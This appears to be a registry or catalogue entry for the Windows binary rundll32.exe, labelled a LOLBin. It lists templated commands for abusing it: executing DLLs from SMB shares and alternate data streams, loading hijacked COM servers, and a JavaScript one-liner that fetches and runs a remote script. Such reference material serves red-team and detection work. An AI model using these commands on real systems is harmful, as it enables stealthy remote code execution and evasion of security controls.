windows enabled community high v1.0.0

rundll32

Used by Windows to execute dll files Located at: C:\Windows\System32\rundll32.exe; C:\Windows\SysWOW64\rundll32.exe.

📋 Live Preview
rundll32
rundll32

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command
system.file.alternate-data-stream

Contract

Outputs

process.output

Command execution output

Side effects: filesystem_writeprocess_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute. (Execute DLL file)

rundll32.exe {PATH},EntryPoint

Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute. (Execute DLL from SMB share.)

rundll32.exe {PATH_SMB:.dll},EntryPoint

Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script. (Execute code from Internet)

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")

Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS). (Execute code from alternate data stream)

rundll32 "{PATH}:ADSDLL.dll",DllMain

Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID. (Execute a DLL/EXE COM server payload or ScriptletURL code.)

rundll32.exe -sta {CLSID}

Detection

Documentation

rundll32

rundll32 is a Windows LOLBin. Used by Windows to execute dll files Located at: C:\Windows\System32\rundll32.exe; C:\Windows\SysWOW64\rundll32.exe.

References